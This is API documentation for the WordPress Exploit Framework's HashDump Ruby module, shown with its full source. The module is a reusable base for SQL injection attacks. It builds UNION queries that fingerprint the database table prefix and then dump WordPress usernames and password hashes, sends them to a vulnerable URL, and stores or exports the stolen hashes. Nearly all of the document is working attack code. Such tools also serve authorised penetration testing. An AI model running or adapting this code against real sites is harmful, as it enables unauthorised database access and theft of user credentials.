module Wpxf::WordPress::HashDump

Provides reusable functionality for hash dump modules.

Public Class Methods

new() click to toggle source

Initialises a new instance of {HashDump}

Calls superclass method
# File lib/wpxf/wordpress/hash_dump.rb, line 8
def initialize
  super

  _update_info_without_validation(
    desc: %(
      This module exploits an SQL injection vulnerability to generate
      a dump of all the user hashes in the database.
    )
  )

  register_options([
    StringOption.new(
      name: 'export_path',
      desc: 'The file to save the hash dump to',
      required: false
    )
  ])

  _generate_id_tokens
end

Public Instance Methods

export_path() click to toggle source

@return [String] the path to export the hash dump to.

# File lib/wpxf/wordpress/hash_dump.rb, line 30
def export_path
  return nil if normalized_option_value('export_path').nil?
  File.expand_path normalized_option_value('export_path')
end
hashdump_custom_union_values() click to toggle source

@return [Array] an array of values to use in the generated union statement.

# File lib/wpxf/wordpress/hash_dump.rb, line 41
def hashdump_custom_union_values
  []
end
hashdump_number_of_cols() click to toggle source

@return [Integer] the number of columns in the vulnerable SQL statement.

# File lib/wpxf/wordpress/hash_dump.rb, line 73
def hashdump_number_of_cols
  1
end
hashdump_prefix_fingerprint_statement() click to toggle source

@return [String] a unique select statement that can be used to fingerprint the database prefix.

# File lib/wpxf/wordpress/hash_dump.rb, line 57
def hashdump_prefix_fingerprint_statement
  cols = _hashdump_union_cols
  cols[hashdump_visible_field_index] = "concat(#{_bof_token},0x3a,table_name,0x3a,#{_eof_token})"

  query = "select #{cols.join(',')} from information_schema.tables where table_schema = database()"
  return query unless reveals_one_row_per_request

  "#{query} limit #{_current_row},1"
end
hashdump_request_body() click to toggle source

@return [Hash, String] the body to be used when requesting the hash dump.

# File lib/wpxf/wordpress/hash_dump.rb, line 88
def hashdump_request_body
  nil
end
hashdump_request_method() click to toggle source

@return [Symbol] the HTTP method to use when requesting the hash dump.

# File lib/wpxf/wordpress/hash_dump.rb, line 78
def hashdump_request_method
  :get
end
hashdump_request_params() click to toggle source

@return [Hash] the parameters to be used when requesting the hash dump.

# File lib/wpxf/wordpress/hash_dump.rb, line 83
def hashdump_request_params
  nil
end
hashdump_sql_statement() click to toggle source

@return [String] a unique SQL select statement that can be used to extract the hashes.

# File lib/wpxf/wordpress/hash_dump.rb, line 46
def hashdump_sql_statement
  cols = _hashdump_union_cols
  cols[hashdump_visible_field_index] = "concat(#{_bof_token},0x3a,user_login,0x3a,user_pass,0x3a,#{_eof_token})"

  query = "select #{cols.join(',')} from #{table_prefix}users"
  return query unless reveals_one_row_per_request

  "#{query} limit #{_current_row},1"
end
hashdump_visible_field_index() click to toggle source

@return [Integer] the zero-based index of the column which is visible in the response output.

# File lib/wpxf/wordpress/hash_dump.rb, line 68
def hashdump_visible_field_index
  0
end
reveals_one_row_per_request() click to toggle source

@return [Boolean] returns true if only one row of the SQL query will be displayed per request.

# File lib/wpxf/wordpress/hash_dump.rb, line 36
def reveals_one_row_per_request
  false
end
run() click to toggle source

Run the module. @return [Boolean] true if successful.

Calls superclass method
# File lib/wpxf/wordpress/hash_dump.rb, line 104
def run
  return false unless super

  @_current_row = 0
  emit_info 'Determining database prefix...'
  return false unless _determine_prefix
  emit_success "Found prefix: #{table_prefix}", true

  @_current_row = 0
  emit_info 'Dumping user hashes...'
  hashes = _dump_and_parse_hashes.uniq
  _output_hashdump_table(hashes)

  _save_hashes(hashes)
  _export_hashes(hashes) if export_path
  true
end
table_prefix() click to toggle source

@return [String] the table prefix determined by the module.

# File lib/wpxf/wordpress/hash_dump.rb, line 98
def table_prefix
  @table_prefix
end
vulnerable_url() click to toggle source

@return [String] the URL of the vulnerable page.

# File lib/wpxf/wordpress/hash_dump.rb, line 93
def vulnerable_url
  nil
end

Private Instance Methods

_bof_token() click to toggle source
# File lib/wpxf/wordpress/hash_dump.rb, line 134
def _bof_token
  @_bof_token
end
_build_prefix_request_body() click to toggle source
# File lib/wpxf/wordpress/hash_dump.rb, line 177
def _build_prefix_request_body
  body = hashdump_request_body
  unless body.nil?
    if body.is_a?(Hash)
      body.each do |k, v|
        body[k] = v.gsub(hashdump_sql_statement, hashdump_prefix_fingerprint_statement)
      end
    else
      body = body.gsub(hashdump_sql_statement, hashdump_prefix_fingerprint_statement)
    end
  end

  body
end
_build_prefix_request_params() click to toggle source
# File lib/wpxf/wordpress/hash_dump.rb, line 192
def _build_prefix_request_params
  params = hashdump_request_params

  params&.each do |k, v|
    params[k] = v.gsub(hashdump_sql_statement, hashdump_prefix_fingerprint_statement)
  end

  params
end
_current_row() click to toggle source
# File lib/wpxf/wordpress/hash_dump.rb, line 142
def _current_row
  @_current_row
end
_determine_prefix() click to toggle source
# File lib/wpxf/wordpress/hash_dump.rb, line 202
def _determine_prefix
  body = _build_prefix_request_body
  params = _build_prefix_request_params

  res = execute_request(
    method: hashdump_request_method,
    url: vulnerable_url,
    params: params,
    body: body,
    cookie: session_cookie
  )

  return nil unless res&.code == 200

  # If the prefix is found, regardless of the row mode, return it.
  @table_prefix = res.body[/#{_bof_token}\:([^:]+?)usermeta\:#{_eof_token}/, 1]
  return @table_prefix if @table_prefix
  return nil unless reveals_one_row_per_request

  # If the bof and eof tokens weren't found at all, there are no more rows available.
  return nil unless res.body.match?(/#{_bof_token}\:(.*?)\:#{_eof_token}/)

  # If the tokens were found, then we can try to query another row.
  @_current_row += 1
  _determine_prefix
end
_dump_and_parse_hashes() click to toggle source
# File lib/wpxf/wordpress/hash_dump.rb, line 156
def _dump_and_parse_hashes
  unless reveals_one_row_per_request
    res = _execute_hashdump_request
    return _parse_hashdump_body(res.body)
  end

  eof = false
  hashes = []

  until eof
    res = _execute_hashdump_request
    break unless res.body.match?(/#{_bof_token}\:(.*?)\:#{_eof_token}/)

    hash = _parse_hashdump_body(res.body)
    hashes.push([hash[0][0], hash[0][1]]) if hash
    @_current_row += 1
  end

  hashes
end
_eof_token() click to toggle source
# File lib/wpxf/wordpress/hash_dump.rb, line 138
def _eof_token
  @_eof_token
end
_execute_hashdump_request() click to toggle source
# File lib/wpxf/wordpress/hash_dump.rb, line 146
def _execute_hashdump_request
  execute_request(
    method: hashdump_request_method,
    url: vulnerable_url,
    params: hashdump_request_params,
    body: hashdump_request_body,
    cookie: session_cookie
  )
end
_export_hashes(hashes) click to toggle source
# File lib/wpxf/wordpress/hash_dump.rb, line 245
def _export_hashes(hashes)
  File.open(export_path, 'w') do |f|
    hashes.each do |pair|
      f.puts "#{pair[0]}:#{pair[1]}"
    end
  end

  emit_success "Saved dump to #{export_path}"
end
_generate_id_tokens() click to toggle source
# File lib/wpxf/wordpress/hash_dump.rb, line 260
def _generate_id_tokens
  @_eof_token = Utility::Text.rand_numeric(10)
  @_bof_token = Utility::Text.rand_numeric(10)
end
_hashdump_union_cols() click to toggle source
# File lib/wpxf/wordpress/hash_dump.rb, line 124
def _hashdump_union_cols
  cols = Array.new(hashdump_number_of_cols) { |_i| '0' }

  hashdump_custom_union_values.each_with_index do |value, index|
    cols[index] = value unless value.nil?
  end

  cols
end
_output_hashdump_table(hashes) click to toggle source
# File lib/wpxf/wordpress/hash_dump.rb, line 229
def _output_hashdump_table(hashes)
  rows = []
  rows.push(user: 'Username', hash: 'Hash')
  hashes.each do |pair|
    rows.push(user: pair[0], hash: pair[1])
  end

  emit_table rows
end
_parse_hashdump_body(body) click to toggle source
# File lib/wpxf/wordpress/hash_dump.rb, line 255
def _parse_hashdump_body(body)
  pattern = /#{_bof_token}\:(.+?)\:(.+?)\:#{_eof_token}/
  body.scan(pattern)
end
_save_hashes(hashes) click to toggle source
# File lib/wpxf/wordpress/hash_dump.rb, line 239
def _save_hashes(hashes)
  hashes.each do |hash|
    store_credentials(hash[0], hash[1], 'hash')
  end
end